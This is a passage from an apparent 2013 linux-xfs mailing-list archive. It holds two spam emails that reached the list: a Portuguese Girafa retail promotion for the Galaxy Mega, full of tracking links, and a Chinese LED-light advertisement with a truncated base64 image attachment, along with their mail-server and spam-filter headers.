    *Consulte sua regi=E3o
    =0D


    =0D  

    =0D =09=09=09=09=09=09=09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail ofertadequinta@girafa.com.b= r ao seu catálogo de endereços.

    A Girafa re= speita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --ec1626653b157896e10df08a1a5c7903-- From dma_1636@rp.email.girafa.com.br Thu Jul 4 11:19:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 056FD7F37 for ; Thu, 4 Jul 2013 11:19:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EAC238F8033 for ; Thu, 4 Jul 2013 09:19:15 -0700 (PDT) X-ASG-Debug-ID: 1372954747-04cb6c2a468b9540001-w1Z2WR Received: from email.girafa.com.br (email.girafa.com.br [187.61.29.201]) by cuda.sgi.com with ESMTP id ubnlWQsNTn6vX0U0 for ; Thu, 04 Jul 2013 09:19:08 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.29.201 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=HzvPw8+JRXJaA3lfeNhV2xCe8uQ=; b=mgvAm+H10GClvZPPSXzy38JqwZ5lD/oipALcmDGaPMnWiF7bxLyNZ4P6aMoDaHtJZLhWT90t3GQ/ eosRSkQpE9DsYPSjuyD+pbWk/zetF16NYrxuNHc4DAPxuly/eMwv2kGWhnnGrE3k3nOiYXkPhOOT MK/15hvwhs2C0odo7jQ= Received: by email.girafa.com.br id hqmg7u0sh4s1 for ; Thu, 4 Jul 2013 13:19:06 -0300 (envelope-from ) From: "Girafa" To: "" Subject: =?ISO-8859-1?Q?Chegou_o_Galaxy_Mega._Um_lan=E7amento_do_Girafa_para_voc=EA.?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Chegou_o_Galaxy_Mega._Um_lan=E7amento_do_Girafa_para_voc=EA.?= Content-Type: multipart/alternative; boundary="1156ae0d8213baab62c2196938c5c7cb" Reply-To: "Girafa" List-Unsubscribe: X-Hash: 1636-3269-644384-611009c026594c3c04d551033678b8f5 X-DMA: 5257537 Message-ID: <0.0.D.240.1CE78D2351AD506.7261@email.girafa.com.br> Date: Thu, 4 Jul 2013 13:19:11 -0300 X-Barracuda-Connect: email.girafa.com.br[187.61.29.201] X-Barracuda-Start-Time: 1372954747 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135797 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --1156ae0d8213baab62c2196938c5c7cb Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Institucional =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84304,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udG= VudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84304,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udG= VudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84305,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wNF8wN18xM19leGNsdXNpdm9fZG9fZGlhJnV0bV9tZWRpdW09RW1haW= wmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1leGNsdXNpdm9fZG9fZGlhXzA0XzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84306,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmd= XRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84307,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wNF8wN18xM19leGNsdXNpdm9fZG9fZGlhJnV0bV9tZWRpdW= 09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1leGNsdXNpdm9fZG9fZGlhXzA0XzA3X= zEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84308,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDRfMDdfMTNfZXhjbHVzaXZvX2RvX2RpYSZ1dG1fbWVkaX= VtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXhjbHVzaXZvX2RvX2RpYV8wNF8wN= 18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84309,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG= 1fY29udGVudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84310,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmd= XRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84311,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT= 1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfM= TMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84312,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wNF8wN18xM19leGNsdXNpdm9fZG9fZGlhJnV0bV9tZWRpdW09RW1haW= wmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1leGNsdXNpdm9fZG9fZGlhXzA0XzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84304,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udG= VudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84313,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWk5MjAwJm9yZGVtPW1haXMtdmlzdWFsaXphZG9zJnV0bV9zb3VyY2U9MDRfMDdfMTNfZX= hjbHVzaXZvX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249ZXhjbHVzaXZvX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84313,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWk5MjAwJm9yZGVtPW1haXMtdmlzdWFsaXphZG9zJnV0bV9zb3VyY2U9MDRfMDdfMTNfZX= hjbHVzaXZvX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249ZXhjbHVzaXZvX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84304,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udG= VudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84314,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDRfMDdfMTNfZXhjbHVzaXZvX2= RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXhjbHVza= XZvX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84318,6= 11009c026594c3c04d551033678b8f5,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdX= RtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19ka= WFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84319,6= 11009c026594c3c04d551033678b8f5,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= A0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNna= S5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84320,6= 11009c026594c3c04d551033678b8f5,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTA0XzA3Xz= EzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2Nhb= XBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84321,6= 11009c026594c3c04d551033678b8f5,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTA0XzA3XzEzX2V4Y2= x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduP= WV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84322,6= 11009c026594c3c04d551033678b8f5,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wNF8wN18xM19leGNsdXNpdm9fZG9fZG= lhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1leGNsdXNpdm9fZ= G9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84315,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDRfMDdfMTNfZXhjbHVzaXZvX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV= 9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXhjbHVzaXZvX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVyb= T0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84304,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udG= VudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84323,6= 11009c026594c3c04d551033678b8f5,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX= 3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84324,6= 11009c026594c3c04d551033678b8f5,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDRfMDdfMTNfZXhjbHVzaXZvX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249ZXhjbHVzaXZvX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0= =3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84325,6= 11009c026594c3c04d551033678b8f5,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmd= XRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84316,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDRfMDdfMTNfZXhjbHVzaXZvX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV= 9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXhjbHVzaXZvX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVyb= T0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84304,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2V4Y2x1c2l2b19kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udG= VudD0mdXRtX2NhbXBhaWduPWV4Y2x1c2l2b19kb19kaWFfMDRfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 06/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3269,644384,84317,6= 11009c026594c3c04d551033678b8f5,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDRfMDdfMTNfZXhjbHVzaXZvX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXhjbHVzaXZvX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] --1156ae0d8213baab62c2196938c5c7cb Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D Institucional=0D =0D
    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D = =0D =0D =0D =0D =0D = =0D = =0D =0D =0D
    3D"02" 3D"03" = 3D"04" 3D"05" 3D"06"<= /td>=0D = 3D"08" 3D"09" 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    3D"02"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"03"<= /a> 3D"04" 3D"05" 3D"06"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"09" = 3D"10" 3D"11" = 3D"12"
    =0D
    3D"14"
    =
    Pre=E7os e condi=E7=F5es= de pagamento v=E1lidos at=E9 06/07/2013 ou enquanto durarem nossos estoque= s. Imagens meramente ilustrativas.
    *Consulte sua regi=E3o
    =
    =0D =09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail exclusivodequinta@girafa.co= m.br ao seu catálogo de endereços.

    A Girafa= respeita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --1156ae0d8213baab62c2196938c5c7cb-- From stoneled1976@sina.cn Thu Jul 4 20:07:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.3 required=5.0 tests=HTML_IMAGE_ONLY_04, HTML_MESSAGE,MIME_HTML_ONLY,MSGID_FROM_MTA_HEADER autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 57FDE7F37 for ; Thu, 4 Jul 2013 20:07:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3378C8F8050 for ; Thu, 4 Jul 2013 18:07:28 -0700 (PDT) X-ASG-Debug-ID: 1372986430-04cb6c2a428d75f0001-NocioJ Received: from mail2-185.sinamail.sina.com.cn (mail2-185.sinamail.sina.com.cn [60.28.2.185]) by cuda.sgi.com with ESMTP id ldjeBrEXmQBHIh3z for ; Thu, 04 Jul 2013 18:07:11 -0700 (PDT) X-Barracuda-Envelope-From: stoneled1976@sina.cn X-Barracuda-Apparent-Source-IP: 60.28.2.185 Received: from unknown (HELO ft5-142.sina.com.cn) ([10.55.5.142]) by irtj11-90.sinamail.sina.com.cn with ESMTP; 05 Jul 2013 09:07:08 +0800 Received: from irxd5-187.sinamail.sina.com.cn ([10.55.5.187]) by ft5-142.sina.com.cn. with ESMTP id r651773G004489-r651773H004489 for ; Fri, 5 Jul 2013 09:07:07 +0800 Message-Id: <391c21$19u0dcm@irxd5-187.sinamail.sina.com.cn> X-Originating-IP: [27.46.12.140] Received: from unknown (HELO HOLLINGS) ([27.46.12.140]) by irxd5-187.sinamail.sina.com.cn with ESMTP; 05 Jul 2013 09:06:41 +0800 From: "led" Subject: LED Surface Mount Light without electro capacitor which ensures the life time greater than 30,000 hours. To: "xfs" X-ASG-Orig-Subj: LED Surface Mount Light without electro capacitor which ensures the life time greater than 30,000 hours. Content-Type: multipart/mixed; charset=UTF-8; boundary="trPU=_uLtcIe393evi1nMx7ptO1aUeq1OI" MIME-Version: 1.0 Sender: stoneled1976@sina.cn Reply-To: stonecago_7@qq.com Date: Fri, 5 Jul 2013 09:06:42 +0800 X-Barracuda-Connect: mail2-185.sinamail.sina.com.cn[60.28.2.185] X-Barracuda-Start-Time: 1372986431 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.84 X-Barracuda-Spam-Status: No, SCORE=1.84 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_ONLY_04, HTML_MESSAGE, MIME_HTML_ONLY, MSGID_FROM_MTA_HEADER, MSGID_FROM_MTA_HEADER_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.34 HTML_IMAGE_ONLY_04 BODY: HTML: images with 0-400 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 1.50 MSGID_FROM_MTA_HEADER_2 Message-Id was added by a relay This is a multi-part message in MIME format --trPU=_uLtcIe393evi1nMx7ptO1aUeq1OI Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline

    --trPU=_uLtcIe393evi1nMx7ptO1aUeq1OI Content-Type: image/jpeg; name="=?Big5?B?rbu05L9PuaKuaabmvlBETV+tXqTlqqkuanBn?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?Big5?B?rbu05L9PuaKuaabmvlBETV+tXqTlqqkuanBn?=" Content-ID: Content-Description: Photo /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAPAAA/+4ADkFkb2JlAGTAAAAAAf/b AIQABgQEBAUEBgUFBgkGBQYJCwgGBggLDAoKCwoKDBAMDAwMDAwQDA4PEA8ODBMTFBQTExwbGxsc Hx8fHx8fHx8fHwEHBwcNDA0YEBAYGhURFRofHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8f Hx8fHx8fHx8fHx8fHx8fHx8f/8AAEQgEAALUAwERAAIRAQMRAf/EANEAAQACAwEBAQAAAAAAAAAA AAAFBgMEBwIBCAEBAQEBAQEBAQAAAAAAAAAAAAECAwQFBgcQAAEDAwMDAgMEBAYKDAsECwIBAwQA EQUhEgYxEwdBIlFhFHEyIxWBkUIWobHRUjMIwWJysnOTsyRVF4KSwtJDUzR0lHU2N+GiY4PDVGQl NUUm8PFEtHYYOKOEZSeFlUZWEQEBAAIBAwMBBgQFAwMEAgMAARECAyExEkFRBBNhcSIyFAWBkaGx 8MFCUjPRIxXhYnLxgkMGkqLCNDX/2gAMAwEAAhEDEQA/AP1TQKBQKBQKBQKBQKBQKBQKBQKBQKBQ KBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQK BQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKB QKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQ KBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQK BQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKB QKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQ KBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQK BQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKB QKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKBQKDl3k+b5vxJ5bN8amYNvj WOiFKRia2+ctew0pvJ7LBqort1oIrxPyDzvyuHguTZGZgf3XyN3ZMdpp8JnaRSCw33NoW4f53Sgn fDvkDP8ALchzNjLdnZgcy9joPZBQXstkSDvuRbi060HSaDiTnkHyvzfnHI+P8ALGYfF8WfSJOyOS E3nnn7kNgbG6IO5svTol762oOh8Mk8zx/HpDnkSXjhnx5BoM+GqtRjjKgdsy7u3aSkpIvSgsUjI4 +ND+tkSmmYdhL6lxwRasVtq71VBst9NaD47lMY05HbdlstuS/wDkgE4Aq7oi/hoq+/RfSg5p5w8s t8Z8cy8pxfJwpGXeebiRHAdaf7ZGe1xxARSQlbT4povWgnvHrT+D4w9Jz3Mw5IJuI45lXyYbaYXY KGyhgW3ahapdb60FoxWdwmXaN3E5CNkWm12uORHm3xFV9FVtSRKDzleRcfxCgmWycTHK7/R/Vvts bv7nuEN6DOeTxoQPzA5bIwNiOfWK4KM7F6F3FXbt+d6Dxi81hsuwT+Knx8gwK7Sdiug8CL8FJtSS 